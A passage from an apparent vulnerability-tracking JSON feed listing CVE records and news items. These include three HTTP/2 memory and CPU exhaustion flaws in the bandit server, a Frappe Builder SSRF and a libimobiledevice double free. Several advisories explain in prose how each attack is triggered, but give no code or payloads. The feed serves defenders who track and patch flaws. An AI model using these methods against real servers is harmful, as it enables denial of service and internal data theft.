2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:50:56.370Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109584","cveId":"CVE-2026-109584","aliases":[],"kind":"vulnerability","title":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust...","summary":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a small HPACK-compressed HEADERS block. The block stores one large cookie value in the HPACK dynamic table and then references it tens of thousands of times with 1-byte indexed fields. In the reporter's run, a 49 KB block made a server with default settings allocate a 183 MB cookie binary before any application code ran, and every concurrent stream can repeat the cost.\n\nBandit.HTTP2.Connection caps only the compressed block (max_header_block_size), and its check of the decoded list against max_header_list_size never fires because that setting defaults to :infinity. combine_cookie_crumbs/1 in lib/bandit/http2/stream.ex then joins every crumb into one binary.\n\nThis issue affects bandit: from 0.3.3 before 1.14.0.","detail":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a small HPACK-compressed HEADERS block. The block stores one large cookie value in the HPACK dynamic table and then references it tens of thousands of times with 1-byte indexed fields. In the reporter's run, a 49 KB block made a server with default settings allocate a 183 MB cookie binary before any application code ran, and every concurrent stream can repeat the cost.\n\nBandit.HTTP2.Connection caps only the compressed block (max_header_block_size), and its check of the decoded list against max_header_list_size never fires because that setting defaults to :infinity. combine_cookie_crumbs/1 in lib/bandit/http2/stream.ex then joins every crumb into one binary.\n\nThis issue affects bandit: from 0.3.3 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:25.000Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109584","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109584","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109584","type":"primary","publishedAt":"2026-10-26T14:16:25.000Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108529","cveId":"CVE-2026-108529","aliases":[],"kind":"vulnerability","title":"Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS...","summary":"Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS or connection-level WINDOW_UPDATE frames. The attacker opens thousands of streams whose responses block on the connection send window, then sends cheap frames that each make the server walk the whole queue of blocked sends. In the reporter's run, with 3,000 blocked streams a single 9-byte SETTINGS frame took 133 ms to process.\n\ndo_pending_sends/2 in lib/bandit/http2/connection.ex retries every queued send and, before each retry, removes that entry from the queue with List.delete/2, so one frame costs O(n²) list operations for n blocked streams. max_concurrent_streams defaults to :infinity, so the attacker chooses n.\n\nThis issue affects bandit: from 0.3.4 before 1.14.0.","detail":"Inefficient Algorithmic Complexity vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server CPU via small SETTINGS or connection-level WINDOW_UPDATE frames. The attacker opens thousands of streams whose responses block on the connection send window, then sends cheap frames that each make the server walk the whole queue of blocked sends. In the reporter's run, with 3,000 blocked streams a single 9-byte SETTINGS frame took 133 ms to process.\n\ndo_pending_sends/2 in lib/bandit/http2/connection.ex retries every queued send and, before each retry, removes that entry from the queue with List.delete/2, so one frame costs O(n²) list operations for n blocked streams. max_concurrent_streams defaults to :infinity, so the attacker chooses n.\n\nThis issue affects bandit: from 0.3.4 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:24.733Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108529","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108529","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108529","type":"primary","publishedAt":"2026-10-26T14:16:24.733Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108525","cveId":"CVE-2026-108525","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via DATA frames sent past the advertised receive window. The attacker requests a response larger than the 65,535-byte initial window and withholds WINDOW_UPDATE, so the stream process blocks while sending and stops reading, then floods small DATA frames on that stream. Every frame is queued in the stream's mailbox until the BEAM node runs out of memory.\n\nBandit.HTTP2.Connection.handle_frame/3 in lib/bandit/http2/connection.ex forwards each DATA frame to the stream process without consulting the receive window, and Bandit.HTTP2.FlowControl.compute_recv_window/2 replenishes the window as data arrives rather than as it is consumed, and never answers a violation with FLOW_CONTROL_ERROR.\n\nThis issue affects bandit: from 0.3.1 before 1.14.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 implementation of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via DATA frames sent past the advertised receive window. The attacker requests a response larger than the 65,535-byte initial window and withholds WINDOW_UPDATE, so the stream process blocks while sending and stops reading, then floods small DATA frames on that stream. Every frame is queued in the stream's mailbox until the BEAM node runs out of memory.\n\nBandit.HTTP2.Connection.handle_frame/3 in lib/bandit/http2/connection.ex forwards each DATA frame to the stream process without consulting the receive window, and Bandit.HTTP2.FlowControl.compute_recv_window/2 replenishes the window as data arrives rather than as it is consumed, and never answers a violation with FLOW_CONTROL_ERROR.\n\nThis issue affects bandit: from 0.3.1 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:24.477Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108525","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108525","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108525","type":"primary","publishedAt":"2026-10-26T14:16:24.477Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-weekly-recap-this2shell-that2shell-e0df996ac6f2","cveId":null,"aliases":["This2Shell","That2Shell","Everything2Shell"],"kind":"vulnerability","title":"⚡ Weekly Recap: This2Shell, That2Shell, Everything's an RCE? Rogue AI, Supply Chain Chaos and More","summary":"This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with.\n\nAnd that's not even the full story. A leaked key led to a software supply-chain","detail":"This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with.\n\nAnd that's not even the full story. A leaked key led to a software supply-chain\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-26T14:06:13.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: ⚡ Weekly Recap: This2Shell, That2Shell, Everything's an RCE? Rogue AI, Supply Chain Chaos and More","url":"https://thehackernews.com/2026/10/weekly-recap-this2shell-that2shell.html","type":"reporting","publishedAt":"2026-10-26T14:06:13.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-hapi-fhir-vulnerabilities-smile-cdr-1902a1099755","cveId":null,"aliases":[],"kind":"vulnerability","title":"Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR","summary":"Four vulnerabilities have been identified in HAPI FHIR, the open-source Java library and server framework that implements the HL7 FHIR […]\n\n The post Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR appeared first on The HIPAA Journal .","detail":"Four vulnerabilities have been identified in HAPI FHIR, the open-source Java library and server framework that implements the HL7 FHIR […]\n\n The post Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-26T13:55:06.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR","url":"https://www.hipaajournal.com/hapi-fhir-vulnerabilities-smile-cdr/","type":"reporting","publishedAt":"2026-10-26T13:55:06.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94380","cveId":"CVE-2026-94380","aliases":[],"kind":"vulnerability","title":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc.","summary":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc. Liman MYS allows Password Recovery Exploitation.\n\nThis issue affects Liman MYS: from 2.3.4-1124 before 2.3.5-1131.","detail":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc. Liman MYS allows Password Recovery Exploitation.\n\nThis issue affects Liman MYS: from 2.3.4-1124 before 2.3.5-1131.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T12:17:08.260Z","updatedAt":"2026-10-26T15:16:46.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94380","asOf":"2026-10-26T15:16:46.610Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94380","type":"primary","publishedAt":"2026-10-26T12:17:08.260Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116260","cveId":"CVE-2026-116260","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service.","summary":"A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service. Executing a manipulation can lead to double free. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service. Executing a manipulation can lead to double free. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T12:17:06.230Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116260","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116260","type":"primary","publishedAt":"2026-10-26T12:17:06.230Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115717","cveId":"CVE-2026-115717","aliases":[],"kind":"vulnerability","title":"Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control...","summary":"Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control applied to similar asset-ingest handlers and performs an unprotected requests.get call that follows redirects without re-validating resolved IP addresses. A low-privilege authenticated user can supply an image_url pointing to an internal address or use DNS rebinding and open redirects to make the server fetch internal network resources or cloud metadata endpoints, with successful image responses saved to a world-readable /files/ URL enabling data exfiltration or blind probing of internal hosts.","detail":"Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control applied to similar asset-ingest handlers and performs an unprotected requests.get call that follows redirects without re-validating resolved IP addresses. A low-privilege authenticated user can supply an image_url pointing to an internal address or use DNS rebinding and open redirects to make the server fetch internal network resources or cloud metadata endpoints, with successful image responses saved to a world-readable /files/ URL enabling data exfiltration or blind probing of internal hosts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 